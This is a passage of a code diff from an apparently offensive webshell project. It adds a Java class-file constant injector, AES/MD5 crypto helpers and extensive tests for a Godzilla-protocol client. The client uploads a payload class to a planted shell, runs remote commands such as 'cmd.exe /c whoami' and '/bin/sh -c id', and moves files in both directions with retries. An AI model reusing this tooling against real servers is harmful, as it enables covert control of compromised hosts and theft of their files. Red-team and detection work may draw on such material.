{ + out += String.fromCharCode(((b & 0x1f) << 6) | (buf[i + 1]! & 0x3f)); + i += 2; + } else if ((b & 0xf0) === 0xe0 && i + 2 < end) { + out += String.fromCharCode( + ((b & 0x0f) << 12) | ((buf[i + 1]! & 0x3f) << 6) | (buf[i + 2]! & 0x3f), + ); + i += 3; + } else { + out += "�"; + i += 1; + } + } + return out; +} + +function encodeUtf8Entry(value: string): Buffer { + const data = encodeModifiedUtf8(value); + const out = Buffer.alloc(3); + out.writeUInt8(1, 0); + out.writeUInt16BE(data.length, 1); + return Buffer.concat([out, data]); +} + +/** + * The class-file CONSTANT_Utf8 format is *modified* UTF-8, not plain UTF-8: + * U+0000 is written as C0 80, and characters above the BMP are written as + * UTF-16 surrogate pairs of 3-byte sequences (plain 4-byte UTF-8 is invalid + * and makes the JVM reject the class). Iterating UTF-16 code units gives us + * exactly that encoding. + */ +function encodeModifiedUtf8(value: string): Buffer { + const bytes: number[] = []; + for (let i = 0; i < value.length; i++) { + const code = value.charCodeAt(i); + if (code >= 0x01 && code <= 0x7f) { + bytes.push(code); + } else if (code <= 0x07ff) { + bytes.push(0xc0 | (code >> 6), 0x80 | (code & 0x3f)); + } else { + bytes.push(0xe0 | (code >> 12), 0x80 | ((code >> 6) & 0x3f), 0x80 | (code & 0x3f)); + } + } + return Buffer.from(bytes); +} + +/** + * Return a copy of `classBytes` where the static String field `fieldName` + * carries `ConstantValue = value` (added or replaced). + */ +export function injectStringConstant( + classBytes: Buffer, + fieldName: string, + value: string, +): Buffer { + const cur = new Cursor(classBytes); + if (cur.buf.readUInt32BE(0) !== 0xcafebabe) { + throw new Error("not a Java class file"); + } + const pool = readPool(cur); + + // walk to the fields section + let off = pool.end; + off += 6; // access_flags, this_class, super_class + const interfacesCount = cur.u2(off); + off += 2 + interfacesCount * 2; + const fieldsCount = cur.u2(off); + off += 2; + + // new constant pool entries (appended at the end, so all existing + // references keep working) + const newEntries: Buffer[] = []; + let nextIndex = pool.count; + + let cvNameIndex = pool.constantValueNameIndex; + if (cvNameIndex === 0) { + newEntries.push(encodeUtf8Entry(CONSTANT_VALUE)); + cvNameIndex = nextIndex++; + } + newEntries.push(encodeUtf8Entry(value)); + const valueUtf8Index = nextIndex++; + const stringEntry = Buffer.alloc(3); + stringEntry.writeUInt8(8, 0); // String tag + stringEntry.writeUInt16BE(valueUtf8Index, 1); + newEntries.push(stringEntry); + const valueStringIndex = nextIndex++; + + for (let f = 0; f < fieldsCount; f++) { + const fieldStart = off; + const nameIndex = cur.u2(off + 2); + const descIndex = cur.u2(off + 4); + const attrCountOff = off + 6; + const attrCount = cur.u2(attrCountOff); + off += 8; + const name = pool.utf8.get(nameIndex); + const desc = pool.utf8.get(descIndex); + const isTarget = name === fieldName && desc === "Ljava/lang/String;"; + + for (let a = 0; a < attrCount; a++) { + const attrNameIndex = cur.u2(off); + const attrLen = cur.buf.readUInt32BE(off + 2); + if ( + isTarget && + pool.constantValueNameIndex !== 0 && + attrNameIndex === pool.constantValueNameIndex + ) { + // replace existing ConstantValue in place: [fieldStart..off+6) + new idx + rest + const patched = Buffer.from(classBytes.subarray(off, off + 6 + attrLen)); + patched.writeUInt16BE(valueStringIndex, 6); + return Buffer.concat([ + headWithNewPool(classBytes, pool, newEntries), + classBytes.subarray(pool.end, off), + patched, + classBytes.subarray(off + 6 + attrLen), + ]); + } + off += 6 + attrLen; + } + + if (isTarget) { + // append a new ConstantValue attribute to this field + const newAttr = Buffer.alloc(8); + newAttr.writeUInt16BE(cvNameIndex, 0); + newAttr.writeUInt32BE(2, 2); + newAttr.writeUInt16BE(valueStringIndex, 6); + const fieldBytes = Buffer.from(classBytes.subarray(fieldStart, off)); + fieldBytes.writeUInt16BE(attrCount + 1, 6); + return Buffer.concat([ + headWithNewPool(classBytes, pool, newEntries), + classBytes.subarray(pool.end, fieldStart), + fieldBytes, + newAttr, + classBytes.subarray(off), + ]); + } + } + throw new Error(`field ${fieldName} (Ljava/lang/String;) not found in class`); +} + +/** + * Read back a static String field's ConstantValue, or null when absent. + * Mirrors the injection above; useful for verification and test harnesses. + */ +export function readStringConstant(classBytes: Buffer, fieldName: string): string | null { + const cur = new Cursor(classBytes); + if (cur.buf.readUInt32BE(0) !== 0xcafebabe) { + throw new Error("not a Java class file"); + } + const pool = readPool(cur); + const strings = new Map<number, number>(); + { + let off = 10; + for (let i = 1; i < pool.count; i++) { + const tag = cur.u1(off); + if (tag === 8) strings.set(i, cur.u2(off + 1)); + if (tag === 1) off += 3 + cur.u2(off + 1); + else if ([3, 4, 9, 10, 11, 12, 17, 18].includes(tag)) off += 5; + else if (tag === 5 || tag === 6) { + off += 9; + i++; + } else if ([7, 8, 16, 19, 20].includes(tag)) off += 3; + else if (tag === 15) off += 4; + else throw new Error(`unsupported constant pool tag ${tag} at index ${i}`); + } + } + + let off = pool.end + 6; + const interfacesCount = cur.u2(off); + off += 2 + interfacesCount * 2; + const fieldsCount = cur.u2(off); + off += 2; + for (let f = 0; f < fieldsCount; f++) { + const name = pool.utf8.get(cur.u2(off + 2)); + const attrCount = cur.u2(off + 6); + off += 8; + for (let a = 0; a < attrCount; a++) { + const attrNameIndex = cur.u2(off); + const attrLen = cur.buf.readUInt32BE(off + 2); + if ( + name === fieldName && + pool.constantValueNameIndex !== 0 && + attrNameIndex === pool.constantValueNameIndex + ) { + const utf8Index = strings.get(cur.u2(off + 6)); + return utf8Index === undefined ? null : (pool.utf8.get(utf8Index) ?? null); + } + off += 6 + attrLen; + } + } + return null; +} + +/** file head (through the pool) with patched pool count + appended entries */ +function headWithNewPool(classBytes: Buffer, pool: PoolInfo, newEntries: Buffer[]): Buffer { + const head = Buffer.from(classBytes.subarray(0, pool.end)); + head.writeUInt16BE(pool.count + newEntries.length, 8); + return Buffer.concat([head, ...newEntries]); +} diff --git a/tools/cli/src/connect/crypto.test.ts b/tools/cli/src/connect/crypto.test.ts new file mode 100644 index 00000000..07ba1964 --- /dev/null +++ b/tools/cli/src/connect/crypto.test.ts @@ -0,0 +1,75 @@ +import { describe, expect, it } from "vitest"; + +import { + aesEcbDecrypt, + aesEcbEncrypt, + base64UrlDecode, + base64UrlEncode, + gunzipLenient, + gzip, + md5Hex, + md5Key16, + randomString, +} from "./crypto.js"; + +describe("md5", () => { + it("matches the hex values baked into real shells", () => { + // verified against shells generated by MemShellParty (godzilla pass/key = pass/key) + expect(md5Key16("key")).toBe("3c6e0b8a9c15224a"); + expect(md5Key16("rebeyond")).toBe("e45e329feb5d925b"); + expect(md5Hex("pass3c6e0b8a9c15224a").toUpperCase()).toBe("11CD6A87589841636C37AC826A2A04BC"); + }); +}); + +describe("aes-ecb", () => { + it("encrypts exactly like Java AES/ECB/PKCS5Padding (openssl vector)", () => { + const encrypted = aesEcbEncrypt(Buffer.from("hello memshell1234", "utf8"), "3c6e0b8a9c15224a"); + expect(encrypted.toString("hex")).toBe( + "325b7465bea6f294db413b54142d7957492266f19adda6285c62fc77255928d4", + ); + }); + + it("round-trips arbitrary data", () => { + const data = Buffer.alloc(100, 7); + const key = md5Key16("whatever"); + expect(aesEcbDecrypt(aesEcbEncrypt(data, key), key)).toEqual(data); + }); + + it("throws on a wrong key (bad padding)", () => { + const encrypted = aesEcbEncrypt(Buffer.from("secret"), "3c6e0b8a9c15224a"); + expect(() => aesEcbDecrypt(encrypted, "e45e329feb5d925b")).toThrow(); + }); +}); + +describe("gzip helpers", () => { + it("round-trips", () => { + const data = Buffer.from("godzilla method params"); + expect(gunzipLenient(gzip(data))).toEqual(data); + }); + + it("gunzipLenient returns small raw inputs untouched (godzilla gzipD behaviour)", () => { + const raw = Buffer.from("ok"); + expect(gunzipLenient(raw)).toEqual(raw); + }); +}); + +describe("base64url", () => { + it("round-trips without padding", () => { + const data = Buffer.from([0xfb, 0xff, 0xfe, 0x01, 0x02]); + const encoded = base64UrlEncode(data); + expect(encoded).not.toMatch(/[+/=]/); + expect(base64UrlDecode(encoded)).toEqual(data); + }); + + it("decodes padded and unpadded input", () => { + expect(base64UrlDecode("-__-AQI")).toEqual(Buffer.from([0xfb, 0xff, 0xfe, 0x01, 0x02])); + }); +}); + +describe("randomString", () => { + it("produces alphanumeric strings of the requested length", () => { + const s = randomString(64); + expect(s).toMatch(/^[A-Za-z0-9]{64}$/); + expect(randomString(0)).toBe(""); + }); +}); diff --git a/tools/cli/src/connect/crypto.ts b/tools/cli/src/connect/crypto.ts new file mode 100644 index 00000000..0aa94f1d --- /dev/null +++ b/tools/cli/src/connect/crypto.ts @@ -0,0 +1,77 @@ +/** + * Crypto helpers shared by the webshell connection testers. + * + * All three tools (Behinder / Godzilla) use AES/ECB/PKCS5Padding with a + * 16-byte key derived from an MD5 hex string — exactly what Java's + * `Cipher.getInstance("AES")` does. Node's `aes-128-ecb` with automatic + * padding is wire-compatible with that. + */ +import { createCipheriv, createDecipheriv, createHash, randomBytes } from "node:crypto"; +import { gunzipSync, gzipSync } from "node:zlib"; + +/** Lowercase 32-char hex MD5, same as Java `functions.byteArrayToHex(md5(...))`. */ +export function md5Hex(data: string | Buffer): string { + return createHash("md5").update(data).digest("hex"); +} + +/** md5 hex truncated to 16 chars — the AES key derivation used by both tools. */ +export function md5Key16(data: string): string { + return md5Hex(data).slice(0, 16); +} + +/** AES/ECB/PKCS5Padding encrypt. `key` is used as raw UTF-8 bytes (16 chars). */ +export function aesEcbEncrypt(data: Buffer, key: string): Buffer { + const cipher = createCipheriv("aes-128-ecb", Buffer.from(key, "utf8"), null); + return Buffer.concat([cipher.update(data), cipher.final()]); +} + +/** AES/ECB/PKCS5Padding decrypt. Throws on bad padding (wrong key / garbage). */ +export function aesEcbDecrypt(data: Buffer, key: string): Buffer { + const decipher = createDecipheriv("aes-128-ecb", Buffer.from(key, "utf8"), null); + return Buffer.concat([decipher.update(data), decipher.final()]); +} + +export function gzip(data: Buffer): Buffer { + return gzipSync(data); +} + +/** + * Godzilla's `functions.gzipD` behaviour: on gunzip failure it falls back to + * the raw bytes when the input is small (< 200 bytes), otherwise it throws. + */ +export function gunzipLenient(data: Buffer): Buffer { + if (data.length === 0) return data; + try { + return gunzipSync(data); + } catch (err) { + if (data.length < 200) return data; + throw err; + } +} + +/** Base64url without padding (Java `Base64.getUrlEncoder().withoutPadding()`). */ +export function base64UrlEncode(data: Buffer): string { + return data + .toString("base64") + .replaceAll("+", "-") + .replaceAll("/", "_") + .replace(/=+$/, ""); +} + +export function base64UrlDecode(text: string): Buffer { + let s = text.replaceAll("-", "+").replaceAll("_", "/"); + while (s.length % 4 !== 0) s += "="; + return Buffer.from(s, "base64"); +} + +const RANDOM_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + +/** Random alphanumeric string, mirroring the tools' `getRandomString`. */ +export function randomString(length: number): string { + const raw = randomBytes(length); + let out = ""; + for (let i = 0; i < length; i++) { + out += RANDOM_ALPHABET[raw[i]! % RANDOM_ALPHABET.length]; + } + return out; +} diff --git a/tools/cli/src/connect/godzilla.test.ts b/tools/cli/src/connect/godzilla.test.ts new file mode 100644 index 00000000..c26cd698 --- /dev/null +++ b/tools/cli/src/connect/godzilla.test.ts @@ -0,0 +1,605 @@ +import { createServer, type Server } from "node:http"; +import type { AddressInfo } from "node:net"; + +import { afterAll, beforeAll, describe, expect, it } from "vitest"; + +import { aesEcbDecrypt, aesEcbEncrypt, gunzipLenient, gzip, md5Hex, md5Key16 } from "./crypto.js"; +import { + downloadGodzilla, + execGodzilla, + testGodzilla, + uploadGodzilla, +} from "./godzilla.js"; + +const GATE = "gdz-gate-value"; +const PASS = "pass"; +const XC = md5Key16("key"); // 3c6e0b8a9c15224a +const WRAP = md5Hex(PASS + XC).toUpperCase(); + +/** Parse godzilla's `Parameter.serialize` stream (after gunzip). */ +function parseSerialized(data: Buffer): Map<string, Buffer> { + const map = new Map<string, Buffer>(); + let off = 0; + let key: number[] = []; + while (off < data.length) { + const b = data[off]!; + off++; + if (b === 0x02) { + const len = data.readUInt32LE(off); + off += 4; + map.set(Buffer.from(key).toString("utf8"), data.subarray(off, off + len)); + off += len; + key = []; + } else { + key.push(b); + } + } + return map; +} + +interface MockState { + payloadLoaded: boolean; + sawCookieOnSecondRequest: boolean; + basicsInfoCalls: number; + /** In-memory remote filesystem for the file-transfer methods. */ + files: Map<string, Buffer>; + /** Fail the next N download reads (returns garbage) to exercise retry. */ + failNextReads: number; + /** Fail the next N upload chunks (returns an error string). */ + failNextUploads: number; + /** When set, mode=fileSize lies and returns this string. */ + fakeSize?: string; + /** When set, mode=fileSize returns these raw bytes (charset tests). */ + fakeSizeRaw?: Buffer; + /** + * When set, the mock emulates a server whose platform default charset is + * this encoding: getBasicsInfo reports it as file.encoding, and fileName + * parameter bytes are decoded with it. + */ + fileEncoding?: string; +} + +function newMockState(): MockState { + return { + payloadLoaded: false, + sawCookieOnSecondRequest: false, + basicsInfoCalls: 0, + files: new Map(), + failNextReads: 0, + failNextUploads: 0, + }; +} + +function startMock(state: MockState): Promise<Server> { + const server = createServer((req, res) => { + const chunks: Buffer[] = []; + req.on("data", (c: Buffer) => chunks.push(c)); + req.on("end", () => { + const fail = (text = "") => res.writeHead(200).end(text); + const ua = req.headers["user-agent"] ?? ""; + if (!ua.includes(GATE)) return fail(); + + const body = Buffer.concat(chunks).toString("utf8"); + let param: string | null = null; + for (const pair of body.split("&")) { + const i = pair.indexOf("="); + if (i > 0 && pair.slice(0, i) === PASS) { + param = decodeURIComponent(pair.slice(i + 1)); + } + } + if (param === null) return fail(); + + let data: Buffer; + try { + data = aesEcbDecrypt(Buffer.from(param, "base64"), XC); + } catch { + // wrong key on a real shell: exception swallowed -> empty body + return fail(); + } + + // payload class upload: define it, hand out a session cookie + if (data.readUInt32BE(0) === 0xcafebabe) { + state.payloadLoaded = true; + res.setHeader("Set-Cookie", "JSESSIONID=abc123; Path=/"); + return fail(); + } + if (!state.payloadLoaded) return fail(); + + if (req.headers.cookie?.includes("JSESSIONID=abc123")) { + state.sawCookieOnSecondRequest = true; + } + + const params = parseSerialized(gunzipLenient(data)); + const method = params.get("methodName")?.toString(); + const reply = (out: string | Buffer) => { + const wrapped = + WRAP.slice(0, 16) + + aesEcbEncrypt(gzip(typeof out === "string" ? Buffer.from(out) : out), XC).toString( + "base64", + ) + + WRAP.slice(16); + res.writeHead(200).end(wrapped); + }; + // the payload decodes parameter strings with the platform default charset + const fileNameOf = (): string => { + const raw = params.get("fileName"); + if (!raw) return ""; + if (state.fileEncoding) { + try { + return new TextDecoder(state.fileEncoding).decode(raw); + } catch { + return raw.toString("utf8"); + } + } + return raw.toString("utf8"); + }; + + if (method === "test") return reply("ok"); + if (method === "getBasicsInfo") { + state.basicsInfoCalls++; + const osName = req.url === "/godzilla-linux" ? "Linux" : "Windows 10"; + const enc = state.fileEncoding ? `file.encoding : ${state.fileEncoding}\n` : ""; + return reply(`OsInfo : os.name: ${osName} os.version: 1 os.arch: amd64\n${enc}`); + } + if (method === "execCommand") { + const n = Number(params.get("argsCount")?.toString() ?? "0"); + const argv: string[] = []; + for (let i = 0; i < n; i++) argv.push(params.get(`arg-${i}`)?.toString() ?? ""); + return reply(`MOCK-EXEC:${argv.join(" ")}`); + } + + // ---- file-transfer methods (mirrors the payload's semantics) ---- + if (method === "uploadFile") { + const name = fileNameOf(); + const value = params.get("fileValue"); + if (!name || value === undefined) return reply("No parameter fileName and fileValue"); + state.files.set(name, Buffer.from(value)); + return reply("ok"); + } + if (method === "bigFileUpload") { + if (state.failNextUploads > 0) { + state.failNextUploads--; + return reply("Exception errMsg:mock injected failure"); + } + const name = fileNameOf(); + const contents = params.get("fileContents"); + const posText = params.get("position")?.toString(); + if (!name || contents === undefined) return reply("Exception errMsg:no parameter"); + const existing = state.files.get(name) ?? Buffer.alloc(0); + if (posText === undefined) { + // no position -> append + state.files.set(name, Buffer.concat([existing, contents])); + } else { + // absolute offset, RandomAccessFile semantics (gap zero-filled) + const pos = Number.parseInt(posText, 10); + const out = Buffer.alloc(Math.max(existing.length, pos + contents.length)); + existing.copy(out, 0); + contents.copy(out, pos); + state.files.set(name, out); + } + return reply("ok"); + } + if (method === "bigFileDownload") { + const name = fileNameOf(); + const mode = params.get("mode")?.toString() ?? ""; + const file = state.files.get(name); + if (mode === "fileSize") { + if (state.fakeSizeRaw !== undefined) return reply(state.fakeSizeRaw); + if (state.fakeSize !== undefined) return reply(state.fakeSize); + return reply(String(file?.length ?? 0)); // File.length(): 0 for missing + } + if (mode === "read") { + if (state.failNextReads > 0) { + state.failNextReads--; + return reply("Exception errMsg:mock injected failure"); + } + if (file === undefined) { + return reply(`Exception errMsg:java.io.FileNotFoundException: ${name} (No such file or directory)`); + } + const pos = Number.parseInt(params.get("position")?.toString() ?? "0", 10); + const num = Number.parseInt(params.get("readByteNum")?.toString() ?? "0", 10); + // real payload: read(byte[0]) returns 0 == buffer.length -> empty success + if (num === 0) return reply(Buffer.alloc(0)); + // real payload: read() at EOF returns -1 -> copyOf(b, -1) -> "Exception errMsg:-1" + if (pos >= file.length) return reply("Exception errMsg:-1"); + return reply(file.subarray(pos, Math.min(pos + num, file.length))); + } + return reply("no mode"); + } + return fail(); + }); + }); + return new Promise((resolve) => server.listen(0, "127.0.0.1", () => resolve(server))); +} + +describe("testGodzilla", () => { + let server: Server; + let base: string; + const state: MockState = newMockState(); + + beforeAll(async () => { + server = await startMock(state); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + + afterAll(() => new Promise((resolve) => server.close(resolve))); + + it("uploads the payload and verifies the test call", async () => { + state.payloadLoaded = false; + const result = await testGodzilla(`${base}/godzilla`, "pass", "key", { headerValue: GATE }); + expect(result.ok).toBe(true); + expect(result.detail).toMatch(/"test" returned ok/); + }); + + it("relays the session cookie to the second request", () => { + expect(state.sawCookieOnSecondRequest).toBe(true); + }); + + it("fails with a wrong key", async () => { + state.payloadLoaded = false; + const result = await testGodzilla(`${base}/godzilla`, "pass", "wrong", { headerValue: GATE }); + expect(result.ok).toBe(false); + expect(result.error).toContain("wrong pass/key"); + }); + + it("fails with a wrong pass (wrapper mismatch)", async () => { + state.payloadLoaded = false; + const result = await testGodzilla(`${base}/godzilla`, "nope", "key", { headerValue: GATE }); + expect(result.ok).toBe(false); + }); + + it("fails without the gate header", async () => { + state.payloadLoaded = false; + const result = await testGodzilla(`${base}/godzilla`, "pass", "key"); + expect(result.ok).toBe(false); + }); + + it("reports network errors", async () => { + const result = await testGodzilla("http://127.0.0.1:1/x", "pass", "key", { timeoutMs: 2000 }); + expect(result.ok).toBe(false); + expect(result.error).toBeTruthy(); + }); +}); + +describe("execGodzilla", () => { + let server: Server; + let base: string; + const state: MockState = newMockState(); + + beforeAll(async () => { + server = await startMock(state); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + + afterAll(() => new Promise((resolve) => server.close(resolve))); + + it("wraps the command in cmd.exe on auto-detected Windows", async () => { + const result = await execGodzilla(`${base}/godzilla`, "pass", "key", "whoami", { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.output).toBe("MOCK-EXEC:cmd.exe /c whoami"); + }); + + it("wraps the command in /bin/sh on auto-detected Linux", async () => { + const result = await execGodzilla(`${base}/godzilla-linux`, "pass", "key", "id", { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.output).toBe("MOCK-EXEC:/bin/sh -c id"); + }); + + it("skips OS detection when os is given explicitly", async () => { + state.basicsInfoCalls = 0; + const result = await execGodzilla(`${base}/godzilla`, "pass", "key", "id", { + headerValue: GATE, + os: "linux", + }); + expect(result.ok).toBe(true); + expect(result.output).toBe("MOCK-EXEC:/bin/sh -c id"); + expect(state.basicsInfoCalls).toBe(0); + }); + + it("fails with a wrong key", async () => { + const result = await execGodzilla(`${base}/godzilla`, "pass", "wrong", "id", { + headerValue: GATE, + os: "linux", + }); + expect(result.ok).toBe(false); + expect(result.error).toBeTruthy(); + }); + + it("fails without the gate header", async () => { + const result = await execGodzilla(`${base}/godzilla`, "pass", "key", "id", { os: "linux" }); + expect(result.ok).toBe(false); + }); +}); + + +describe("downloadGodzilla", () => { + let server: Server; + let base: string; + const state: MockState = newMockState(); + + beforeAll(async () => { + server = await startMock(state); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + + afterAll(() => new Promise((resolve) => server.close(resolve))); + + const BINARY = (() => { + // includes the gzip magic prefix and non-UTF8 bytes — the transfer must + // not mangle them through the gzip envelope + const b = Buffer.alloc(256); + for (let i = 0; i < 256; i++) b[i] = i; + b[0] = 0x1f; + b[1] = 0x8b; + return b; + })(); + + it("downloads a small binary file byte-for-byte", async () => { + state.files.set("/tmp/a.bin", BINARY); + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/a.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.bytes).toBe(BINARY.length); + expect(result.data?.equals(BINARY)).toBe(true); + }); + + it("downloads a file in small chunks (offset math)", async () => { + const big = Buffer.alloc(1000); + for (let i = 0; i < big.length; i++) big[i] = (i * 31 + 7) % 256; + state.files.set("/tmp/chunked.bin", big); + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/chunked.bin", { + headerValue: GATE, + chunkSize: 7, + }); + expect(result.ok).toBe(true); + expect(result.data?.equals(big)).toBe(true); + }); + + it("downloads an empty file", async () => { + state.files.set("/tmp/empty.bin", Buffer.alloc(0)); + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/empty.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.bytes).toBe(0); + expect(result.data?.length).toBe(0); + }); + + it("fails for a missing remote file (size 0 probe unmasks it)", async () => { + state.files.delete("/tmp/nope.bin"); + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/nope.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/FileNotFoundException|read failed/); + }); + + it("fails when the size probe is garbage", async () => { + state.fakeSize = "Exception errMsg:boom"; + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/a.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toContain("cannot get remote file size"); + state.fakeSize = undefined; + }); + + it("refuses files over 2 GiB", async () => { + state.fakeSize = "3000000000"; + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/huge.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toContain("2 GiB"); + state.fakeSize = undefined; + }); + + it("decodes GBK error text from non-UTF-8 servers", async () => { + // "系统找不到指定的路径。" in GBK — what a Chinese-Windows payload returns + state.fakeSizeRaw = Buffer.from([ + 0xcf, 0xb5, 0xcd, 0xb3, 0xd5, 0xd2, 0xb2, 0xbb, 0xb5, 0xbd, 0xd6, 0xb8, 0xb6, 0xa8, 0xb5, + 0xc4, 0xc2, 0xb7, 0xbe, 0xb6, 0xa1, 0xa3, + ]); + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/missing.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toContain("系统找不到指定的路径"); + state.fakeSizeRaw = undefined; + }); + + it("retries failed reads and succeeds", async () => { + state.files.set("/tmp/flaky.bin", BINARY); + state.failNextReads = 2; // CHUNK_ATTEMPTS is 3 + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/flaky.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.data?.equals(BINARY)).toBe(true); + }); + + it("gives up after the retry budget", async () => { + state.files.set("/tmp/dead.bin", BINARY); + state.failNextReads = 10; + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/dead.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/read failed at offset 0/); + state.failNextReads = 0; + }); + + it("fails with a wrong key", async () => { + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "wrong", "/tmp/a.bin", { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + }); + + it("fails without the gate header", async () => { + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/a.bin"); + expect(result.ok).toBe(false); + }); + + it("encodes non-ASCII paths in --remote-charset (GBK server)", async () => { + state.fileEncoding = "GBK"; + const name = "C:\\测试\\配置.ini"; + state.files.set(name, BINARY); + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", name, { + headerValue: GATE, + remoteCharset: "GBK", + }); + expect(result.ok).toBe(true); + expect(result.data?.equals(BINARY)).toBe(true); + state.fileEncoding = undefined; + }); + + it("UTF-8 default does not reach non-ASCII paths on a GBK server", async () => { + state.fileEncoding = "GBK"; + const name = "C:\\测试\\配置.ini"; + state.files.set(name, BINARY); + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", name, { + headerValue: GATE, + }); + // the mojibake name simply does not exist remotely — a clean, readable failure + expect(result.ok).toBe(false); + expect(result.error).toMatch(/FileNotFoundException|read failed|cannot get/); + state.fileEncoding = undefined; + }); + + it("still works for non-ASCII paths on a UTF-8 server with the default", async () => { + const name = "/opt/应用/config.ini"; + state.files.set(name, BINARY); + const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", name, { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.data?.equals(BINARY)).toBe(true); + }); +}); + +describe("uploadGodzilla", () => { + let server: Server; + let base: string; + const state: MockState = newMockState(); + + beforeAll(async () => { + server = await startMock(state); + base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + }); + + afterAll(() => new Promise((resolve) => server.close(resolve))); + + it("uploads a small file in a single call and verifies the size", async () => { + const data = Buffer.from("hello godzilla upload \u0000\u00ff", "latin1"); + const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/up.bin", data, { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(result.bytes).toBe(data.length); + expect(state.files.get("/tmp/up.bin")?.equals(data)).toBe(true); + }); + + it("truncates an existing longer remote file", async () => { + state.files.set("/tmp/trunc.bin", Buffer.alloc(100, 0x41)); + const data = Buffer.from("short"); + const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/trunc.bin", data, { + headerValue: GATE, + }); + expect(result.ok).toBe(true); + expect(state.files.get("/tmp/trunc.bin")?.equals(data)).toBe(true); + }); + + it("uploads in small chunks with absolute offsets", async () => { + const data = Buffer.alloc(1000); + for (let i = 0; i < data.length; i++) data[i] = (i * 13 + 5) % 256; + const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/bigup.bin", data, { + headerValue: GATE, + chunkSize: 7, + }); + expect(result.ok).toBe(true); + expect(state.files.get("/tmp/bigup.bin")?.equals(data)).toBe(true); + }); + + it("uploads an empty file (create/truncate)", async () => { + state.files.set("/tmp/emptyup.bin", Buffer.from("old content")); + const result = await uploadGodzilla( + `${base}/godzilla`, + "pass", + "key", + "/tmp/emptyup.bin", + Buffer.alloc(0), + { headerValue: GATE }, + ); + expect(result.ok).toBe(true); + expect(state.files.get("/tmp/emptyup.bin")?.length).toBe(0); + }); + + it("retries failed chunks", async () => { + const data = Buffer.alloc(50, 0x62); + state.failNextUploads = 2; + const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/flaky.bin", data, { + headerValue: GATE, + chunkSize: 10, + }); + expect(result.ok).toBe(true); + expect(state.files.get("/tmp/flaky.bin")?.equals(data)).toBe(true); + }); + + it("aborts after the retry budget and reports the offset", async () => { + const data = Buffer.alloc(50, 0x63); + state.failNextUploads = 10; + const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/dead.bin", data, { + headerValue: GATE, + chunkSize: 10, + }); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/upload failed at offset 0\/50/); + state.failNextUploads = 0; + }); + + it("fails when the size verification mismatches", async () => { + const data = Buffer.from("verify me"); + state.fakeSize = "12345"; + const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/ver.bin", data, { + headerValue: GATE, + }); + expect(result.ok).toBe(false); + expect(result.error).toMatch(/remote size mismatch/); + state.fakeSize = undefined; + }); + + it("round-trips: chunked upload then download", async () => { + const data = Buffer.alloc(500); + for (let i = 0; i < data.length; i++) data[i] = (i * 17 + 3) % 256; + const up = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/rt.bin", data, { + headerValue: GATE, + chunkSize: 64, + }); + expect(up.ok).toBe(true); + const down = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/rt.bin", { + headerValue: GATE, + chunkSize: 128, + }); + expect(down.ok).toBe(true); + expect(down.data?.equals(data)).toBe(true); + }); + + it("uploads to a non-ASCII path on a GBK server (--remote-charset)", async () => { + state.fileEncoding = "GBK"; + const name = "D:\\数据\\上传-日志.bin"; + const data = Buffer.from("gbk upload content", "utf8"); + const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", name, data, { + headerValue: GATE, + remoteCharset: "GBK", + }); + expect(result.ok).toBe(true); + expect(state.files.get(name)?.equals(data)).toBe(true); + state.fileEncoding = undefined; + }); +}); diff --git a/tools/cli/src/connect/godzilla.ts b/tools/cli/src/connect/godzilla.ts new file mode 100644 index 00000000..6839a282 --- /dev/null +++ b/tools/cli/src/connect/godzilla.ts @@ -0,0 +1,542 @@ +/** + * Godzilla (哥斯拉) protocol client — JavaDynamicPayload. + * + * Mirrors the Godzilla client's connect + payload method calls: + * xc = md5(key)[0:16] (AES key) + * md5 = md5(pass + xc), uppercase (response wrapper) + * 1. POST `pass=urlencode(base64(AES(payloadClass)))` — the shell stores the + * payload class (static field or http session, hence the cookie relay) + * 2. POST 